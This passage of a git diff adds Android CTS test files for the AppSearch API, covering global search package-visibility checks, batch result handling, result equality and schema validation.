+                executor);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
new file mode 100644
index 0000000..ff50832
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GlobalSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+import com.android.server.appsearch.testing.GlobalSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+public class GlobalSearchSessionCtsTest extends GlobalSearchSessionCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
+    }
+
+    @Override
+    protected ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession() {
+        return GlobalSearchSessionShimImpl.createGlobalSearchSession();
+    }
+}
\ No newline at end of file
diff --git a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java
new file mode 100644
index 0000000..c5f83c3
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java
@@ -0,0 +1,356 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.PackageIdentifier;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SetSchemaRequest;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.android.cts.appsearch.ICommandReceiver;
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+import com.google.common.io.BaseEncoding;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This doesn't extend the {@link android.app.appsearch.cts.GlobalSearchSessionCtsTestBase} since
+ * these test cases can't be run in a non-platform environment.
+ */
+public class GlobalSearchSessionPlatformCtsTest {
+
+    private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
+
+    private static final String TAG = "GlobalSearchSessionPlatformCtsTest";
+
+    private static final String PKG_A = "com.android.cts.appsearch.helper.a";
+
+    // To generate, run `apksigner` on the build APK. e.g.
+    //   ./apksigner verify --print-certs \
+    //   ~/sc-dev/out/soong/.intermediates/cts/tests/appsearch/CtsAppSearchTestHelperA/\
+    //   android_common/CtsAppSearchTestHelperA.apk`
+    // to get the SHA-256 digest. All characters need to be uppercase.
+    //
+    // Note: May need to switch the "sdk_version" of the test app from "test_current" to "30" before
+    // building the apk and running apksigner
+    private static final byte[] PKG_A_CERT_SHA256 =
+            BaseEncoding.base16()
+                    .decode("A90B80BD307B71BB4029674C5C4FE18066994E352EAC933B7B68266210CAFB53");
+
+    private static final String PKG_B = "com.android.cts.appsearch.helper.b";
+
+    // To generate, run `apksigner` on the build APK. e.g.
+    //   ./apksigner verify --print-certs \
+    //   ~/sc-dev/out/soong/.intermediates/cts/tests/appsearch/CtsAppSearchTestHelperB/\
+    //   android_common/CtsAppSearchTestHelperB.apk`
+    // to get the SHA-256 digest. All characters need to be uppercase.
+    //
+    // Note: May need to switch the "sdk_version" of the test app from "test_current" to "30" before
+    // building the apk and running apksigner
+    private static final byte[] PKG_B_CERT_SHA256 =
+            BaseEncoding.base16()
+                    .decode("88C0B41A31943D13226C3F22A86A6B4F300315575A6BC533CBF16C4EF3CFAA37");
+
+    private static final String HELPER_SERVICE =
+            "com.android.cts.appsearch.helper.AppSearchTestService";
+
+    private static final String TEXT = "foo";
+
+    private static final AppSearchEmail EMAIL_DOCUMENT =
+            new AppSearchEmail.Builder("uri1")
+                    .setFrom("from@example.com")
+                    .setTo("to1@example.com", "to2@example.com")
+                    .setSubject(TEXT)
+                    .setBody("this is the body of the email")
+                    .build();
+
+    private static final String DB_NAME = AppSearchManager.DEFAULT_DATABASE_NAME;
+
+    private AppSearchSessionShim mDb;
+
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+
+        mDb =
+                AppSearchSessionShimImpl.createSearchSession(
+                                new AppSearchManager.SearchContext.Builder()
+                                        .setDatabaseName(DB_NAME)
+                                        .build())
+                        .get();
+        cleanup();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    @Test
+    public void testNoPackageAccess_default() throws Exception {
+        mDb.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        // No package has access by default
+        assertPackageCannotAccess(PKG_A);
+        assertPackageCannotAccess(PKG_B);
+    }
+
+    @Test
+    public void testNoPackageAccess_wrongPackageName() throws Exception {
+        mDb.setSchema(
+                new SetSchemaRequest.Builder()
+                        .addSchemas(AppSearchEmail.SCHEMA)
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ true,
+                                new PackageIdentifier(
+                                        "some.other.package", PKG_A_CERT_SHA256))
+                        .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCannotAccess(PKG_A);
+    }
+
+    @Test
+    public void testNoPackageAccess_wrongCertificate() throws Exception {
+        mDb.setSchema(
+                new SetSchemaRequest.Builder()
+                        .addSchemas(AppSearchEmail.SCHEMA)
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ true,
+                                new PackageIdentifier(PKG_A, new byte[] {10}))
+                        .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCannotAccess(PKG_A);
+    }
+
+    @Test
+    public void testAllowPackageAccess() throws Exception {
+        mDb.setSchema(
+                new SetSchemaRequest.Builder()
+                        .addSchemas(AppSearchEmail.SCHEMA)
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ true,
+                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                        .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_A);
+        assertPackageCannotAccess(PKG_B);
+    }
+
+    @Test
+    public void testAllowMultiplePackageAccess() throws Exception {
+        mDb.setSchema(
+                new SetSchemaRequest.Builder()
+                        .addSchemas(AppSearchEmail.SCHEMA)
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ true,
+                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ true,
+                                new PackageIdentifier(PKG_B, PKG_B_CERT_SHA256))
+                        .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_A);
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_B);
+    }
+
+    @Test
+    public void testNoPackageAccess_revoked() throws Exception {
+        mDb.setSchema(
+                new SetSchemaRequest.Builder()
+                        .addSchemas(AppSearchEmail.SCHEMA)
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ true,
+                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                        .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_A);
+
+        // Set the schema again, but package access as false.
+        mDb.setSchema(
+                new SetSchemaRequest.Builder()
+                        .addSchemas(AppSearchEmail.SCHEMA)
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ false,
+                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                        .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+        assertPackageCannotAccess(PKG_A);
+
+        // Set the schema again, but with default (i.e. no) access
+        mDb.setSchema(
+                new SetSchemaRequest.Builder()
+                        .addSchemas(AppSearchEmail.SCHEMA)
+                        .setSchemaTypeVisibilityForPackage(
+                                AppSearchEmail.SCHEMA_TYPE,
+                                /*visible=*/ false,
+                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                        .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+        assertPackageCannotAccess(PKG_A);
+    }
+
+    private void assertPackageCannotAccess(String pkg) throws Exception {
+        final GlobalSearchSessionPlatformCtsTest.TestServiceConnection serviceConnection =
+                bindToHelperService(pkg);
+        try {
+            final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
+            List<String> results = commandReceiver.globalSearch(TEXT);
+            assertThat(results).isEmpty();
+        } finally {
+            serviceConnection.unbind();
+        }
+    }
+
+    private void assertPackageCanAccess(GenericDocument expectedDocument, String pkg)
+            throws Exception {
+        final GlobalSearchSessionPlatformCtsTest.TestServiceConnection serviceConnection =
+                bindToHelperService(pkg);
+        try {
+            final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
+            List<String> results = commandReceiver.globalSearch(TEXT);
+            assertThat(results).containsExactly(expectedDocument.toString());
+        } finally {
+            serviceConnection.unbind();
+        }
+    }
+
+    private GlobalSearchSessionPlatformCtsTest.TestServiceConnection bindToHelperService(
+            String pkg) {
+        final GlobalSearchSessionPlatformCtsTest.TestServiceConnection serviceConnection =
+                new GlobalSearchSessionPlatformCtsTest.TestServiceConnection(mContext);
+        final Intent intent = new Intent().setComponent(new ComponentName(pkg, HELPER_SERVICE));
+        mContext.bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
+        return serviceConnection;
+    }
+
+    private class TestServiceConnection implements ServiceConnection {
+        private final Context mContext;
+        private final BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>();
+        private ICommandReceiver mCommandReceiver;
+
+        TestServiceConnection(Context context) {
+            mContext = context;
+        }
+
+        public void onServiceConnected(ComponentName componentName, IBinder service) {
+            Log.i(TAG, "Service got connected: " + componentName);
+            mBlockingQueue.offer(service);
+        }
+
+        public void onServiceDisconnected(ComponentName componentName) {
+            Log.e(TAG, "Service got disconnected: " + componentName);
+        }
+
+        private IBinder getService() throws Exception {
+            final IBinder service = mBlockingQueue.poll(TIMEOUT_BIND_SERVICE_SEC, TimeUnit.SECONDS);
+            return service;
+        }
+
+        public ICommandReceiver getCommandReceiver() throws Exception {
+            if (mCommandReceiver == null) {
+                mCommandReceiver = ICommandReceiver.Stub.asInterface(getService());
+            }
+            return mCommandReceiver;
+        }
+
+        public void unbind() {
+            mCommandReceiver = null;
+            mContext.unbindService(this);
+        }
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchBatchResultCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchBatchResultCtsTest.java
new file mode 100644
index 0000000..0644ed4
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchBatchResultCtsTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchResult;
+
+import org.junit.Test;
+
+public class AppSearchBatchResultCtsTest {
+    @Test
+    public void testIsSuccess_true() {
+        AppSearchBatchResult<String, Integer> result =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setSuccess("keySuccess2", 2)
+                        .setResult("keySuccess3", AppSearchResult.newSuccessfulResult(3))
+                        .build();
+        assertThat(result.isSuccess()).isTrue();
+        result.checkSuccess();
+    }
+
+    @Test
+    public void testIsSuccess_false() {
+        AppSearchBatchResult<String, Integer> result1 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setSuccess("keySuccess2", 2)
+                        .setFailure("keyFailure1", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .build();
+
+        AppSearchBatchResult<String, Integer> result2 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setResult(
+                                "keyFailure3",
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"))
+                        .build();
+
+        assertThat(result1.isSuccess()).isFalse();
+        assertThat(result2.isSuccess()).isFalse();
+        expectThrows(IllegalStateException.class, result1::checkSuccess);
+        expectThrows(IllegalStateException.class, result2::checkSuccess);
+    }
+
+    @Test
+    public void testIsSuccess_replace() {
+        AppSearchBatchResult<String, Integer> result1 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("key", 1)
+                        .setFailure("key", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .build();
+
+        AppSearchBatchResult<String, Integer> result2 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setFailure("key", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .setSuccess("key", 1)
+                        .build();
+
+        assertThat(result1.isSuccess()).isFalse();
+        expectThrows(IllegalStateException.class, result1::checkSuccess);
+        assertThat(result2.isSuccess()).isTrue();
+        result2.checkSuccess();
+    }
+
+    @Test
+    public void testGetters() {
+        AppSearchBatchResult<String, Integer> result =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setSuccess("keySuccess2", 2)
+                        .setFailure("keyFailure1", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .setFailure(
+                                "keyFailure2", AppSearchResult.RESULT_INTERNAL_ERROR, "message2")
+                        .setResult("keySuccess3", AppSearchResult.newSuccessfulResult(3))
+                        .setResult(
+                                "keyFailure3",
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"))
+                        .build();
+
+        assertThat(result.isSuccess()).isFalse();
+        assertThat(result.getSuccesses())
+                .containsExactly("keySuccess1", 1, "keySuccess2", 2, "keySuccess3", 3);
+        assertThat(result.getFailures())
+                .containsExactly(
+                        "keyFailure1",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_UNKNOWN_ERROR, "message1"),
+                        "keyFailure2",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INTERNAL_ERROR, "message2"),
+                        "keyFailure3",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"));
+        assertThat(result.getAll())
+                .containsExactly(
+                        "keySuccess1",
+                        AppSearchResult.newSuccessfulResult(1),
+                        "keySuccess2",
+                        AppSearchResult.newSuccessfulResult(2),
+                        "keySuccess3",
+                        AppSearchResult.newSuccessfulResult(3),
+                        "keyFailure1",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_UNKNOWN_ERROR, "message1"),
+                        "keyFailure2",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INTERNAL_ERROR, "message2"),
+                        "keyFailure3",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"));
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
new file mode 100644
index 0000000..9c34b17
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchResult;
+
+import org.junit.Test;
+
+public class AppSearchResultCtsTest {
+
+    @Test
+    public void testResultEquals_identical() {
+        AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+        AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("String");
+
+        assertThat(result1).isEqualTo(result2);
+        assertThat(result1.hashCode()).isEqualTo(result2.hashCode());
+
+        AppSearchResult<String> result3 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+        AppSearchResult<String> result4 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+
+        assertThat(result3).isEqualTo(result4);
+        assertThat(result3.hashCode()).isEqualTo(result4.hashCode());
+    }
+
+    @Test
+    public void testResultEquals_failure() {
+        AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+        AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("Wrong");
+        AppSearchResult<String> resultNull = AppSearchResult.newSuccessfulResult(/*value=*/ null);
+
+        assertThat(result1).isNotEqualTo(result2);
+        assertThat(result1.hashCode()).isNotEqualTo(result2.hashCode());
+        assertThat(result1).isNotEqualTo(resultNull);
+        assertThat(result1.hashCode()).isNotEqualTo(resultNull.hashCode());
+
+        AppSearchResult<String> result3 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+        AppSearchResult<String> result4 =
+                AppSearchResult.newFailedResult(AppSearchResult.RESULT_IO_ERROR, "errorMessage");
+
+        assertThat(result3).isNotEqualTo(result4);
+        assertThat(result3.hashCode()).isNotEqualTo(result4.hashCode());
+
+        AppSearchResult<String> result5 =
+                AppSearchResult.newFailedResult(AppSearchResult.RESULT_INTERNAL_ERROR, "Wrong");
+
+        assertThat(result3).isNotEqualTo(result5);
+        assertThat(result3.hashCode()).isNotEqualTo(result5.hashCode());
+
+        AppSearchResult<String> result6 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, /*errorMessage=*/ null);
+
+        assertThat(result3).isNotEqualTo(result6);
+        assertThat(result3.hashCode()).isNotEqualTo(result6.hashCode());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
new file mode 100644
index 0000000..3652809
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.DocumentPropertyConfig;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSchema.StringPropertyConfig;
+import android.app.appsearch.exceptions.IllegalSchemaException;
+
+import org.junit.Test;
+
+public class AppSearchSchemaCtsTest {
+    @Test
+    public void testInvalidEnums() {
+        StringPropertyConfig.Builder builder = new StringPropertyConfig.Builder("test");
+        expectThrows(IllegalArgumentException.class, () -> builder.setCardinality(99));
+    }
+
+    @Test
+    public void testMissingFields() {
+        DocumentPropertyConfig.Builder builder = new DocumentPropertyConfig.Builder("test");
+        IllegalSchemaException e = expectThrows(IllegalSchemaException.class, builder::build);
+        assertThat(e).hasMessageThat().contains("Missing field: schemaType");
+
+        builder.setSchemaType("TestType");
+        e = expectThrows(IllegalSchemaException.class, builder::build);
+        assertThat(e).hasMessageThat().contains("Missing field: cardinality");
+
+        builder.setCardinality(PropertyConfig.CARDINALITY_REPEATED);
+        builder.build();
+    }
+
+    @Test
+    public void testDuplicateProperties() {
+        AppSearchSchema.Builder builder =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build());
+        IllegalSchemaException e =
+                expectThrows(
+                        IllegalSchemaException.class,
+                        () ->
+                                builder.addProperty(
+                                        new StringPropertyConfig.Builder("subject")
+                                                .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                                .setIndexingType(
+                                                        StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                                .setTokenizerType(
+                                                        StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                                .build()));
+        assertThat(e).hasMessageThat().contains("Property defined more than once: subject");
+    }
+
+    @Test
+    public void testEquals_identical() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .setVersion(12345)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .setVersion(12345)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isEqualTo(schema2);
+        assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_differentOrder() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .build())
+                        .build();
+        assertThat(schema1).isEqualTo(schema2);
+        assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_failure_differentProperty() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig
+                                                        .INDEXING_TYPE_EXACT_TERMS) // Diff
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isNotEqualTo(schema2);
+        assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_failure_differentVersion() {
+        AppSearchSchema schema1 = new AppSearchSchema.Builder("Email").setVersion(12345).build();
+        AppSearchSchema schema2 = new AppSearchSchema.Builder("Email").setVersion(54321).build();
+        assertThat(schema1).isNotEqualTo(schema2);
+        assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_failure_differentOrder() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        // Order of 'body' and 'subject' has been switched
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
